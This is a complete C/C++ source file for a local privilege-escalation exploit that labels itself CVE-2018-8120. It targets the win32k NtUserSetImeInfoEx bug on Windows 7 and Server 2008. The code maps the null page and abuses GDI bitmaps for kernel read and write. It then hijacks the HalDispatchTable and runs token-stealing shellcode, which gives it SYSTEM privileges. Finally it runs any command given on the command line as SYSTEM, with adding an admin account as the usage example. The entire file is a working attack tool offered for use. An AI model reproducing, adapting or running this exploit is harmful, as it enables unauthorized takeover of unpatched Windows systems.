#define PSAPI_VERSION 1
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h>  
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "Psapi.lib")



#ifndef _WIN64
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);

struct tagIMEINFO32
{
	unsigned int dwPrivateDataSize;
	unsigned int fdwProperty;
	unsigned int fdwConversionCaps;
	unsigned int fdwSentenceCaps;
	unsigned int fdwUICaps;
	unsigned int fdwSCSCaps;
	unsigned int fdwSelectCaps;
};

typedef struct tagIMEINFOEX
{
	HKL__ *hkl;
	tagIMEINFO32 ImeInfo;
	wchar_t wszUIClass[16];
	unsigned int fdwInitConvMode;
	int fInitOpen;
	int fLoadFlag;
	unsigned int dwProdVersion;
	unsigned int dwImeWinVersion;
	wchar_t wszImeDescription[50];
	wchar_t wszImeFile[80];
	__int32 fSysWow64Only : 1;
	__int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;

struct _HEAD
{
	void *h;
	unsigned int cLockObj;
};

struct tagKBDFILE
{
	_HEAD head;
	tagKBDFILE *pkfNext;
	void *hBase;
	void *pKbdTbl;
	unsigned int Size;
	void *pKbdNlsTbl;
	wchar_t awchDllName[32];
};

typedef struct _tagKL
{
	_HEAD head;
	_tagKL *pklNext;
	_tagKL *pklPrev;
	unsigned int dwKL_Flags;
	HKL__ *hkl;
	tagKBDFILE *spkf;
	tagKBDFILE *spkfPrimary;
	unsigned int dwFontSigs;
	unsigned int iBaseCharset;
	unsigned __int16 CodePage;
	wchar_t wchDiacritic;
	tagIMEINFOEX *piiex;
	unsigned int uNumTbl;
	tagKBDFILE **pspkfExtra;
	unsigned int dwLastKbdType;
	unsigned int dwLastKbdSubType;
	unsigned int dwKLID;
}tagKL, *P_tagKL;
DWORD gSyscall = 0;

__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
	_asm
	{

		mov esi, tmp;
		mov eax, gSyscall;
		mov edx, 0x7FFE0300;
		call dword ptr[edx];
		ret 4;
	}
}
#else
extern "C" void NtUserSetImeInfoEx(PVOID);
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG64           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);
#endif 

typedef struct
{
	LPVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	LPVOID pUserAddress;
} GDICELL;
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);

typedef BOOL(WINAPI *LPFN_GLPI)(
	PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
	PDWORD);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
	OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile;


DWORD gTableOffset = 0;
HANDLE gManger, gWorker;

#ifdef _WIN64
ULONG64 gtable;
#else
DWORD gtable;
#endif

#ifdef _WIN64
ULONG64 getpeb()
{
#else
DWORD getpeb()
{
#endif
#ifdef _WIN64
	ULONG64 p = (ULONG64)__readgsqword(0x30);
	p = *(ULONG64*)(p + 0x60);
#else
	DWORD p = (DWORD)__readfsdword(0x18);
	p = *(DWORD*)((char*)p + 0x30);
#endif
	return p;
}
#ifdef _WIN64
ULONG64 getgdi()
{
#else
DWORD getgdi()
{
#endif
#ifdef _WIN64
	return *(ULONG64*)(getpeb() + gTableOffset);
#else
	return *(DWORD*)(getpeb() + gTableOffset);
#endif

}
PVOID getpvscan0(HANDLE h)
{
	if (!gtable)
		gtable = getgdi();
#ifdef _WIN64
	ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL);
	GDICELL *c = (GDICELL*)p;
	return (char*)c->pKernelAddress + 0x50;
#else
	DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
	GDICELL *c = (GDICELL*)p;
	return (char*)c->pKernelAddress + 0x30;
#endif
}


#ifdef _WIN64
typedef unsigned __int64 QWORD, *PQWORD;
typedef  QWORD DT;
#else
typedef  DWORD DT;
#endif

extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
#ifdef _WIN64
extern "C" void shellcode08(void);
extern "C" void shellcode7(void);
#else

__declspec(noinline) int shellcode()
{
	__asm {
		pushad;// save registers state
		mov edx, g_kthread;
		mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
		mov edx, g_EPROCESS;
		mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax;// Copy current _EPROCESS structure
		mov esi, g_EPROCESS_TokenOffset;
		mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
		mov edi, g_flink;
		mov ebx, g_PID;
	SearchSystemPID:
		mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
		sub eax, edi;
		cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
		jne SearchSystemPID;

		mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
		popad;// restore registers state

		// recovery
		xor eax, eax;// Set NTSTATUS SUCCEESS

	}
}
#endif
DWORD GetCpuNumber()
{
	LPFN_GLPI glpi;
	BOOL done = FALSE;
	PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL;
	PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL;
	DWORD returnLength = 0;
	DWORD logicalProcessorCount = 0;
	DWORD numaNodeCount = 0;
	DWORD processorPackageCount = 0;
	DWORD byteOffset = 0;

	glpi = (LPFN_GLPI)GetProcAddress(
		GetModuleHandle(TEXT("kernel32")),
		"GetLogicalProcessorInformation");
	if (NULL == glpi)
	{
		puts("[-] GetLogicalProcessorInformation is not supported.");
		return (1);
	}

	while (!done)
	{
		DWORD rc = glpi(buffer, &returnLength);

		if (FALSE == rc)
		{
			if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
			{
				if (buffer)
					free(buffer);

				buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc(
					returnLength);

				if (NULL == buffer)
				{
					puts("[-] Error: Allocation failure");
					return (1);
				}
			}
			else
			{
				printf("[-] Error %d\n", GetLastError());
				return 1;
			}
		}
		else
		{
			done = TRUE;
		}
	}

	ptr = buffer;

	while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength)
	{
		switch (ptr->Relationship)
		{

		case RelationProcessorPackage:
			// Logical processors share a physical package.
			processorPackageCount++;

		default:
			break;
		}
		byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
		ptr++;
	}

	return processorPackageCount;
}
// detect extract kernel images.
char* DetectKernel(PDWORD offset)
{
	BOOL  pae = FALSE;
	*offset = 0;
	int tmp[4];
	RtlSecureZeroMemory(tmp, sizeof(tmp));
	__cpuid(tmp, 1);
	
	if (tmp[3]&0x40)
	{
		pae = TRUE;
	}

	if (GetCpuNumber()>1)
	{
#ifndef _WIN64
		if (pae)
		{
			*offset = 0x9000;
			return "ntkrpamp.exe";
		}
		else
#endif
		{
			return "ntkrnlmp.exe";
		}
	}
	else
	{
#ifndef _WIN64

		if (pae)
		{
			*offset = 0x9000;
			return "ntkrnlpa.exe";
		}
		else
#endif
		{
			return "ntoskrnl.exe";
		}
	}
}

PVOID leakHal()
{
	DT ntoskrnlBase;
	DT HalDTUser, HalDTOffset;
	HMODULE userKernel;
	char * FuncAddress = 0L;

	LPVOID drivers[1024];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
	{
		if (drivers[0])
		{
			ntoskrnlBase = (DT)drivers[0];
		}
	}
	else
	{
		printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
	}
	//	ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
	DWORD offset = 0;
	bool failback = false;
	char *kernel = DetectKernel(&offset);
	printf("[+] Detected kernel %s\n", kernel);
	userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (userKernel == NULL)
	{
		printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel);
		userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
		failback = true;
		if (userKernel == NULL)
		{
			puts("[-] Could not load ntoskrnl.exe");
			return FALSE;
		}
	}

	HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
	HalDTOffset = HalDTUser - (DT)userKernel;

	if (failback)
	{
		return (PVOID)(ntoskrnlBase + HalDTOffset + offset);
	}
	else
	{
		return (PVOID)(ntoskrnlBase + HalDTOffset);
	}
}
void main()
{
	int argc = 0;
	wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
	puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)");
	fflush(stdout);
	if (argc != 2)
	{
		puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
		fflush(stdout);
		ExitProcess(0);
	}

	HMODULE hntdll = GetModuleHandle(L"ntdll");
	PVOID overwrite_address;
	int overwrite_offset;
	ULONG Interval = 0;
	PVOID sc=0;

	OSVERSIONINFOW osver;
	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
	pRtlGetVersion(&osver);
	if (osver.dwMajorVersion == 5) {
#ifdef _WIN64
		g_EPROCESS_TokenOffset = 0x160;
		g_EPROCESS = 0x68;
		g_flink = 0xe0;
		g_PID = 0xd8;
		g_kthread = 0x188;
#else
		g_EPROCESS_TokenOffset = 0xd8;
		g_EPROCESS = 0x38;
		g_flink = 0x098;
		g_PID = 0x94;
		g_kthread = 0x124;
#endif
	}
	else if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
		gTableOffset = 0x0f8;
		if (osver.dwMinorVersion == 0)//win2008
		{
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x8;     // QueryIntervalProfile 
			sc = &shellcode08;
			g_EPROCESS_TokenOffset = 0x168;
			g_EPROCESS = 0x68;
			g_flink = 0xe0;
			g_PID = 0xe8;
			g_kthread = 0x188;
		}
		else
		{//win7
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x8;     // QueryIntervalProfile 
			sc = &shellcode7;
			g_EPROCESS_TokenOffset = 0x208;
			g_EPROCESS = 0x70;
			g_flink = 0x188;
			g_PID = 0x180;
			g_kthread = 0x188;
		}

#else
		gTableOffset = 0x094;
		if (osver.dwMinorVersion == 0)//win2008
		{
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x4;     // QueryIntervalProfile 
			gSyscall = 0x121b;
			g_EPROCESS_TokenOffset = 0xe0;
			g_EPROCESS = 0x48;
			g_flink = 0xa0;
			g_PID = 0x9c;
			g_kthread = 0x124;
		}
		else
		{//win7
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x4;     // QueryIntervalProfile 
			gSyscall = 0x1226;
			g_EPROCESS_TokenOffset = 0xf8;
			g_EPROCESS = 0x50;
			g_flink = 0xb8;
			g_PID = 0xb4;
			g_kthread = 0x124;
		}
#endif
	}
	else
	{
		printf("[-] Not supported version %d\n", osver.dwBuildNumber);
		ExitProcess(-1);
	}



	_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory");

	PVOID addr = (PVOID)0x100;
	DT size = 0x1000;


	if (!NtAllocateVirtualMemory) {
		printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
		fflush(stdout);
		ExitProcess(1);
	}

	if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
	{
		puts("[-] Fail to alloc null page!");
		fflush(stdout);
		ExitProcess(2);
	}

	HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);

	if (!hSta)
	{
		printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
		fflush(stdout);
		ExitProcess(3);
	}

	if (!SetProcessWindowStation(hSta))
	{
		printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
		fflush(stdout);
		ExitProcess(4);
	}
	unsigned int bbuf[0x60] = {0x90};
	//RtlSecureZeroMemory(bbuf, 0x60);
	HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
	HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);

	PVOID mpv = getpvscan0(gManger);
	PVOID wpv = getpvscan0(gWorker);

#ifndef _WIN64
	printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
	P_tagKL pkl = 0;
	pkl->hkl = (HKL__ *)wpv;
	pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));

	IMEINFOEX ime;
	RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX));
#else
	printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv);
	char* pkl = 0;
	*(DT*)(pkl + 0x28) = (DT)wpv;
	*(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID);

	char ime[0x200];
	RtlSecureZeroMemory(&ime, 0x200);
#endif // _WIN32
	fflush(stdout);
	// Initialize exploit parameters

	PVOID *p = (PVOID *)&ime;
	p[0] = (PVOID)wpv;
	p[1] = (PVOID)wpv;
	DWORD *pp = (DWORD *)&p[2];
	pp[0] = 0x180;
	pp[1] = 0xabcd;
	pp[2] = 6;
	pp[3] = 0x10000;
#ifndef _WIN64
	pp[5] = 0x4800200;
#else
	pp[6] = 0x4800200;
#endif // _WIN32
	// trigger vuln
	// bp win32k!SetImeInfoEx
	// bp win32k!NtUserSetImeInfoEx
	// modify the pvscan0 of manager!

	puts("[+] Triggering vulnerability...");
	fflush(stdout);
	fflush(stderr);
	NtUserSetImeInfoEx((PVOID)&ime);

	PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
#ifndef _WIN64
	sc = &shellcode;
	printf("[+] Overwriting...%lx\n", oaddr);
#else
	printf("[+] Overwriting...%llx\n", oaddr);
#endif // _WIN32
	fflush(stdout);

	PVOID pOrg = 0;

	SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
	GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
	SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);


	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");

	if (!NtQueryIntervalProfile) {
		fflush(stdout);
		fflush(stderr);
		printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
		ExitProcess(2);
	}
	puts("[+] Elevating privilege...");
	NtQueryIntervalProfile(0x1337, &Interval);
	puts("[+] Cleaning up...");
	SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
	SECURITY_ATTRIBUTES		sa;
	HANDLE					hRead, hWrite;
	byte					buf[40960] = { 0 };
	STARTUPINFOW			si;
	PROCESS_INFORMATION		pi;
	DWORD					bytesRead;
	RtlSecureZeroMemory(&si, sizeof(si));
	RtlSecureZeroMemory(&pi, sizeof(pi));
	RtlSecureZeroMemory(&sa, sizeof(sa));
	int br = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		fflush(stdout);
		fflush(stderr);
		ExitProcess(5);
	}
	wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]);
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfoW(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"WinSta0\\Default";
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	wchar_t cmd[4096] = { 0 };
	lstrcpyW(cmd, argv[1]);
	if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
	{
		fflush(stdout);
		fflush(stderr);
		CloseHandle(hWrite);
		CloseHandle(hRead);
		wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
		ExitProcess(6);
	}
	CloseHandle(hWrite);
	printf("[+] Process created with pid %d!\n", pi.dwProcessId);
	while (1)
	{
		if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
			break;
		br += bytesRead;
	}
	// 	HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
	// 	WriteConsoleA(h, buf, br, &bytesRead, 0);
	puts((char*)buf);
	fflush(stdout);
	fflush(stderr);
	CloseHandle(hRead);
	CloseHandle(pi.hProcess);
}